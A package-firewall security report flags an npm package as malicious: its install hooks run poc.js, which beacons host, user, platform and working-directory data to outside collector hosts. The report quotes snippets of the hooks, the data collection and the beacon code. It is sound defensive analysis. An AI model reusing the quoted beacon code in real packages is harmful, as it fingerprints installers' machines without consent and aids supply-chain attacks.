---
canonical: "https://firewall.lpm.dev/npm/@myorder-frontend-commons/analytics"
markdown: "https://firewall.lpm.dev/npm/@myorder-frontend-commons/analytics/v/1.0.0.md"
package: "@myorder-frontend-commons/analytics"
report_status: "published"
title: "@myorder-frontend-commons/analytics@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# @myorder-frontend-commons/analytics@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The collector can identify the host and user and learn that the package ran in the build or CI environment.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 1.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The manifest activates poc.js automatically during installation, and the source confirms collection and transmission of host-identifying data to external collectors. This is an unconsented installation beacon, so block publication.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-10-12T18:42:17.610Z
- **Finished:** 2026-10-12T18:42:48.835Z
- **Download time:** 760 ms
- **Static scan time:** 21 ms
- **AI review time:** 30444 ms
- **Total time:** 31225 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Install lifecycle hooks automatically run a beacon that sends host-identifying data to external collectors.

- **Trigger:** Package installation through preinstall, install, or postinstall.

- **Impact:** The collector can identify the host and user and learn that the package ran in the build or CI environment.

- **Evidence paths:** package.json, poc.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-12T18:42:48.835Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** poc.js collects host, user, platform, and working-directory details, then sends them in HTTP requests to researcher-controlled collectors.

- **Attack narrative:** Installing the package automatically runs the same beacon from three lifecycle hooks. It sends host, user, platform, and working-directory identifiers to researcher-controlled external collectors. The package's research-purpose claims do not establish consent from each installer.

- **Rationale:** The manifest activates poc.js automatically during installation, and the source confirms collection and transmission of host-identifying data to external collectors. This is an unconsented installation beacon, so block publication.

- **Files touched:** package.json, poc.js

- **Network endpoints:** db4jftohu4noreqdanngpnb3ger45ykrt.oast.fun (with an encoded host label prefix), 80-190-83-27.nip.io

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** package.json runs poc.js during preinstall, install, and postinstall., poc.js records the lifecycle event that triggered it., poc.js collects the host name, user name, platform, and working directory., poc.js sends HTTP GET requests to the selected collector hosts., poc.js supplies researcher-controlled default collectors and calls both beacons automatically.

## Affected versions and remediation

This report applies to @myorder-frontend-commons/analytics@1.0.0.

- Avoid installing @myorder-frontend-commons/analytics@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node poc.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** poc.js
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/poc.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 792537aeadbf189f
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @myorder-frontend-commons/analytics@0.1.0
matchedPath = poc.js
matchedIdentity = npm:[redacted]:0.1.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
```

### 6. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/package.json>)

package.json runs poc.js during preinstall, install, and postinstall.

Public source snippet (untrusted):

```json
"scripts": {
    "preinstall": "node poc.js",
    "install": "node poc.js",
    "postinstall": "node poc.js"
  },
  "keywords": [
    "security
```

### 7. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** poc.js
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/poc.js>)

poc.js records the lifecycle event that triggered it.

Public source snippet (untrusted):

```javascript
var info = {
  poc: TOKEN,
  trigger: process.env.npm[redacted] || 'manual',  // preinstall | postinstall | install ...
  pkg: '@myorder-frontend-commons/analytics',
  pkgVersion: safe(function () { return require('./package.json').version;
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** poc.js
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/poc.js>)

poc.js collects the host name, user name, platform, and working directory.

Public source snippet (untrusted):

```javascript
hostname: safe(function () { return os.hostname(); }, '?'),
  user: safe(function () { return os.userInfo().username; }, '?'),
  platform: safe(function () { return os.platform() + '-' + os.arch() + '-' + os.release(); }, '?'),
  cwd: safe(function () { return process.cwd(); }, '?'),
  node:
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** poc.js
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/poc.js>)

poc.js sends HTTP GET requests to the selected collector hosts.

Public source snippet (untrusted):

```javascript
function beacon(host) {
  try {
    var req = http.get(
      { host: host, port: 80, path: path, timeout: 4000,
        headers: { 'User-Agent': 'allegro-dc-poc/1.0 (authorized security test)' } },
      function (res) { res.resume(); }
    );
    req.on('error', function () {});
    req.on('timeout', function () { req.destroy(); });
  } catch (e) { /* n
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** poc.js
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/poc.js>)

poc.js supplies researcher-controlled default collectors and calls both beacons automatically.

Public source snippet (untrusted):

```javascript
// Researcher-controlled collectors.
var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; // interactsh (DNS+HTTP)
var BACKUP = process.env.POC_BACKUP_HOST || '80-190-83-27.n
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** poc.js
- **Public source:** [View source](<https://unpkg.com/@myorder-frontend-commons/analytics@1.0.0/poc.js>)

poc.js supplies researcher-controlled default collectors and calls both beacons automatically.

Public source snippet (untrusted):

```javascript
beacon(label + '.' + OOB);  // primary: interactsh (catches DNS even if HTTP blocked)
beacon(BACKUP);             // backup:
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** install, postinstall, preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @myorder-frontend-commons/analytics
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-10-09T19:14:16.451Z
- **Package first seen:** 2026-10-12T18:42:29.302Z
- **Package last seen:** 2026-10-13T22:51:44.458Z
- **Known versions:** 15
- **Latest version:** 0.0.1-security
- **Appeal under review:** No
- **Description:** AUTHORIZED security research PoC (dependency-confusion test for Allegro, with written permission from Allegro Cybersecurity). Harmless: emits a single host-identification beacon on install to confirm code execution in the build/CI environment, then exits.
- **Author:** Piotr Ossowski
- **Keywords:** security, poc, dependency-confusion, authorized-test, allegro
- **Artifact files:** 4
- **Artifact unpacked size:** 7,437 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@myorder-frontend-commons/analytics/v/1.0.0>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-17749>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/1.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/1.2.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/0.0.1>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/2.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/0.1.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/5.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/0.2.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/10.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/1.1.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/100.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/3.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/99.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics/v/101.0.0>)
- [ADVISORY](<https://github.com/advisories/GHSA-4xrc-8qvp-c7r5>)
- [PACKAGE](<https://www.npmjs.com/package/@myorder-frontend-commons/analytics>)
